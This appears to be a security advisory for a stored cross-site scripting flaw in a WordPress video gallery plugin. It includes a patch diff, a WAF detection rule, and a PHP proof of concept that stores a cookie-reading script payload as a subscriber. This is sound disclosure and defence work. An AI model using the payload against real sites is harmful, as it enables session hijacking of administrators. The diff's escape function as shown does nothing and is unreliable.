Published : November 26, 2026

CVE-2026-136992: All-in-One Video Gallery <= 5.2.0 Authenticated (Subscriber+) Stored Cross-Site Scripting via 'embedcode' Video Metabox Field PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 5.2.0
Patched Version 5.2.1
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-136992:

The All-in-One Video Gallery WordPress plugin (versions up to and including 5.2.0) contains an authenticated stored cross-site scripting (XSS) vulnerability in the video metabox ’embedcode’ field. A subscriber-level user can inject a malicious shortcode containing a data: URI in the hls attribute, which is later processed by hls.js and written into the DOM via innerHTML by Plyr. The CVSS score is 6.4, and the CWE is 79.

Root Cause: The vulnerability resides in the save_meta_data() function within admin/videos.php. When saving video metadata, the function accepts the ’embedcode’ type without verifying that the current user has the ‘unfiltered_html’ capability. The plugin grants the Subscriber role the edit_aiovg_videos and edit_published_aiovg_videos capabilities upon activation, allowing subscribers to access the metabox and submit the ’embedcode’ parameter. The insufficient input sanitization and output escaping in the embedcode processing path (lines 488-510 in the vulnerable version) permits the storage of arbitrary shortcodes, including malicious hls attributes.

Exploitation: An attacker with subscriber-level access can craft a POST request to the video editing endpoint (e.g., /wp-admin/post.php) with the action ‘editpost’, supplying a malicious ’embedcode’ parameter. The payload could be a shortcode like [aiovg_video hls=”data:text/html,alert(1)”] or similar, which is stored in the post meta. When a victim (e.g., an administrator) views the video page, the hls.js library processes the data URI, and Plyr inserts the resulting content into the DOM via innerHTML, executing the script. The attack requires the attacker to be authenticated with at least subscriber privileges.

Patch Analysis: The patch (version 5.2.1) introduces a capability check: before processing the ’embedcode’ type, it verifies current_user_can(‘unfiltered_html’). If the user lacks this capability, the type is forced to ‘default’ (for the main video type) or emptied (for the trailer type), and the embedcode is not saved. Additionally, the patch adds escaping in the player-vidstack.php template for text track names, and modifies the aiovg_get_default_settings() function to prevent recursion. These changes ensure that only users with unfiltered_html (typically administrators) can store embed code, and that any stored values are properly escaped when rendered.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim’s browser. This can lead to session hijacking, theft of sensitive information, or actions performed on behalf of the victim (including privilege escalation if the victim is an administrator). The vulnerability is stored, meaning the script executes whenever the injected page is accessed, potentially affecting multiple users.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/all-in-one-video-gallery/admin/videos.php
+++ b/all-in-one-video-gallery/admin/videos.php
@@ -403,6 +403,13 @@
 				$private_base_url = aiovg_get_private_base_url();

 				$type = isset( $_POST['type'] ) ? sanitize_text_field( wp_unslash( $_POST['type'] ) ) : 'default';
+
+				// Same rule as the form, which offers this type only to these users
+				$can_use_embedcode = current_user_can( 'unfiltered_html' );
+				if ( 'embedcode' === $type && ! $can_use_embedcode ) {
+					$type = 'default';
+				}
+
 				update_post_meta( $post_id, 'type', $type );

 				delete_post_meta( $post_id, 'is_video_uploaded' );
@@ -488,22 +495,27 @@
 				$facebook = isset( $_POST['facebook'] ) ? aiovg_sanitize_url( wp_unslash( $_POST['facebook'] ) ) : ''; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Sanitized by aiovg_sanitize_url().
 				update_post_meta( $post_id, 'facebook', $facebook );

-				$embedcode = isset( $_POST['embedcode'] ) ? trim( wp_unslash( $_POST['embedcode'] ) ) : ''; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Sanitized by aiovg_sanitize_embedcode() below.
-
-				if ( $embedcode && filter_var( $embedcode, FILTER_VALIDATE_URL ) ) {
-					$parsed = wp_parse_url( $embedcode );
+				$embedcode = '';

-					// Allow only http / https URLs
-					if ( isset( $parsed['scheme'] ) && in_array( $parsed['scheme'], array( 'http', 'https' ) ) ) {
-						$embedcode = sprintf(
-							'<iframe src="%s" width="560" height="315" frameborder="0" scrolling="no" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>',
-							esc_url( $embedcode )
-						);
+				// Others leave the stored code untouched
+				if ( $can_use_embedcode ) {
+					$embedcode = isset( $_POST['embedcode'] ) ? trim( wp_unslash( $_POST['embedcode'] ) ) : ''; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Sanitized by aiovg_sanitize_embedcode() below.
+
+					if ( $embedcode && filter_var( $embedcode, FILTER_VALIDATE_URL ) ) {
+						$parsed = wp_parse_url( $embedcode );
+
+						// Allow only http / https URLs
+						if ( isset( $parsed['scheme'] ) && in_array( $parsed['scheme'], array( 'http', 'https' ) ) ) {
+							$embedcode = sprintf(
+								'<iframe src="%s" width="560" height="315" frameborder="0" scrolling="no" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>',
+								esc_url( $embedcode )
+							);
+						}
 					}
-				}

-				$embedcode = aiovg_sanitize_embedcode( $embedcode );
-				update_post_meta( $post_id, 'embedcode', $embedcode );
+					$embedcode = aiovg_sanitize_embedcode( $embedcode );
+					update_post_meta( $post_id, 'embedcode', $embedcode );
+				}

 				$duration = '';

@@ -685,6 +697,12 @@
 					if ( wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['aiovg_video_trailer_nonce'] ) ), 'aiovg_save_video_trailer' ) ) {
 						// OK to save meta data
 						$trailer_type = isset( $_POST['trailer_type'] ) ? sanitize_text_field( wp_unslash( $_POST['trailer_type'] ) ) : '';
+
+						// Same rule as the form, which offers this type only to these users
+						if ( 'embedcode' === $trailer_type && ! current_user_can( 'unfiltered_html' ) ) {
+							$trailer_type = '';
+						}
+
 						update_post_meta( $post_id, 'trailer_type', $trailer_type );

 						if ( 'embedcode' === $trailer_type ) {
--- a/all-in-one-video-gallery/all-in-one-video-gallery.php
+++ b/all-in-one-video-gallery/all-in-one-video-gallery.php
@@ -3,23 +3,23 @@
 /**
  * The plugin bootstrap file.
  *
- * @link            https://plugins360.com
- * @since           1.0.0
- * @package         All_In_One_Video_Gallery
+ * @link              https://plugins360.com
+ * @since             1.0.0
+ * @package           All_In_One_Video_Gallery
  *
  * @wordpress-plugin
- * Plugin Name:     All-in-One Video Gallery
- * Plugin URI:      https://plugins360.com/all-in-one-video-gallery/
- * Description:     An ultimate video player and video gallery plugin – no coding required. Suitable for YouTubers, Video Bloggers, Course Creators, Podcasters, Sales & Marketing Professionals, and anyone using video on a website.
- * Version:         5.2.0
+ * Plugin Name:       All-in-One Video Gallery
+ * Plugin URI:        https://plugins360.com/all-in-one-video-gallery/
+ * Description:       An ultimate video player and video gallery plugin – no coding required. Suitable for YouTubers, Video Bloggers, Course Creators, Podcasters, Sales & Marketing Professionals, and anyone using video on a website.
+ * Version:           5.2.1
  * Requires at least: 6.3
- * Requires PHP:    7.4
- * Author:          Team Plugins360
- * Author URI:      https://plugins360.com
- * License:         GPL-2.0+
- * License URI:     http://www.gnu.org/licenses/gpl-2.0.txt
- * Text Domain:     all-in-one-video-gallery
- * Domain Path:     /languages
+ * Requires PHP:      7.4
+ * Author:            Team Plugins360
+ * Author URI:        https://plugins360.com
+ * License:           GPL-2.0+
+ * License URI:       http://www.gnu.org/licenses/gpl-2.0.txt
+ * Text Domain:       all-in-one-video-gallery
+ * Domain Path:       /languages
  *
  */
 // Exit if accessed directly
@@ -72,7 +72,7 @@
 }
 // The current version of the plugin
 if ( !defined( 'AIOVG_PLUGIN_VERSION' ) ) {
-    define( 'AIOVG_PLUGIN_VERSION', '5.2.0' );
+    define( 'AIOVG_PLUGIN_VERSION', '5.2.1' );
 }
 // The unique identifier of the plugin
 if ( !defined( 'AIOVG_PLUGIN_SLUG' ) ) {
--- a/all-in-one-video-gallery/includes/helpers/functions.php
+++ b/all-in-one-video-gallery/includes/helpers/functions.php
@@ -867,10 +867,11 @@
  * @return array $defaults Array of plugin settings.
  */
 function aiovg_get_default_settings() {
-	static $defaults = null;
+	static $cached      = null;
+	static $is_building = false;

-	if ( null !== $defaults ) {
-		return $defaults;
+	if ( null !== $cached ) {
+		return $cached;
 	}

 	$video_page_slug = 'aiovg_videos';
@@ -883,9 +884,21 @@
 			$video_page_slug = $slug;
 			break;
 		}
-	}
+	}
+
+	// Creating the pages runs queries whose hooks may read our settings and call back in here.
+	// Those nested calls get no pages rather than creating them again, and are not cached (5.2.1)
+	$is_nested = $is_building;
+
+	if ( $is_nested ) {
+		$page_settings = array();
+	} else {
+		$is_building   = true;
+		$page_settings = aiovg_insert_custom_pages();
+		$is_building   = false;
+	}

-	$defaults = array(
+	$defaults = array(
 		'aiovg_player_settings' => array(
 			'player'                  => 'videojs',
 			'theme'                   => 'default',
@@ -1079,10 +1092,14 @@
 			'token_authentication_key'    => '',
 			'token_expiry'                => 3600
 		),
-		'aiovg_page_settings' => aiovg_insert_custom_pages()
+		'aiovg_page_settings' => $page_settings
 	);
-
-	return $defaults;
+
+	if ( ! $is_nested ) {
+		$cached = $defaults;
+	}
+
+	return $defaults;
 }

 /**
--- a/all-in-one-video-gallery/public/templates/player-vidstack.php
+++ b/all-in-one-video-gallery/public/templates/player-vidstack.php
@@ -1945,6 +1945,14 @@
 				plyr.classList.remove( 'aiovg-is-ended' );
 			});

+			// Stream track names come from the playlist and Plyr prints them as HTML
+			if ( settings.hasOwnProperty( 'hls' ) || settings.hasOwnProperty( 'dash' ) ) {
+				const addTextTrack = video.addTextTrack.bind( video );
+				const escape = ( value ) => 'string' === typeof value ? value.replace( /</g, '<' ).replace( />/g, '>' ) : value;
+
+				video.addTextTrack = ( kind, label, language ) => addTextTrack( kind, escape( label ), escape( language ) );
+			}
+
 			// HLS
 			if ( settings.hasOwnProperty( 'hls' ) ) {
 				const hls = new Hls();
--- a/all-in-one-video-gallery/public/video.php
+++ b/all-in-one-video-gallery/public/video.php
@@ -148,7 +148,6 @@
 				if ( isset( $attributes[ $format ] ) ) {
 					$attributes[ $format ] = aiovg_sanitize_url( $attributes[ $format ] );
 					$is_video_available = 1;
-					break;
 				}
 			}

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-136992
SecRule REQUEST_URI "@streq /wp-admin/post.php" 
  "id:2026136992,phase:2,deny,status:403,chain,msg:'CVE-2026-136992 via All-in-One Video Gallery embedcode XSS',severity:'CRITICAL',tag:'CVE-2026-136992'"
  SecRule ARGS_POST:action "@streq editpost" "chain"
    SecRule ARGS_POST:embedcode "@rx data:text/html" "t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-136992 - All-in-One Video Gallery <= 5.2.0 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'embedcode' Video Metabox Field

$target_url = 'http://example.com'; // WordPress site URL
$username = 'subscriber'; // Subscriber-level username
$password = 'password'; // Subscriber password

// Initialize cURL
$ch = curl_init();

// Step 1: Log in to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Create a new video post (if needed) or use an existing one
// For simplicity, we assume there is an existing video post with ID 1 that the subscriber can edit.
$post_id = 1;

// Step 3: Prepare the malicious embedcode payload
// The payload is a shortcode with a data: URI in the hls attribute that will be executed by hls.js/Plyr.
$malicious_embedcode = '[aiovg_video hls="data:text/html,<script>alert(document.cookie)</script>"]';

// Step 4: Send the POST request to save the video metadata
$edit_url = $target_url . '/wp-admin/post.php';
$post_data = array(
    'action' => 'editpost',
    'post_ID' => $post_id,
    'post_type' => 'aiovg_videos',
    '_wpnonce' => '...', // Nonce is required; in a real exploit, it must be extracted from the edit page.
    'type' => 'embedcode',
    'embedcode' => $malicious_embedcode
);

// Note: The nonce must be obtained by first fetching the edit page and parsing the _wpnonce field.
// This PoC omits the nonce extraction for brevity; in practice, the attacker would fetch the edit page,
// extract the nonce, and then submit the form.

curl_setopt($ch, CURLOPT_URL, $edit_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);

// Step 5: Check if the request was successful (e.g., HTTP 302 redirect)
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code == 302) {
    echo "Payload stored successfully. The XSS will trigger when the video is viewed.n";
} else {
    echo "Exploit failed. HTTP code: $http_coden";
}

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.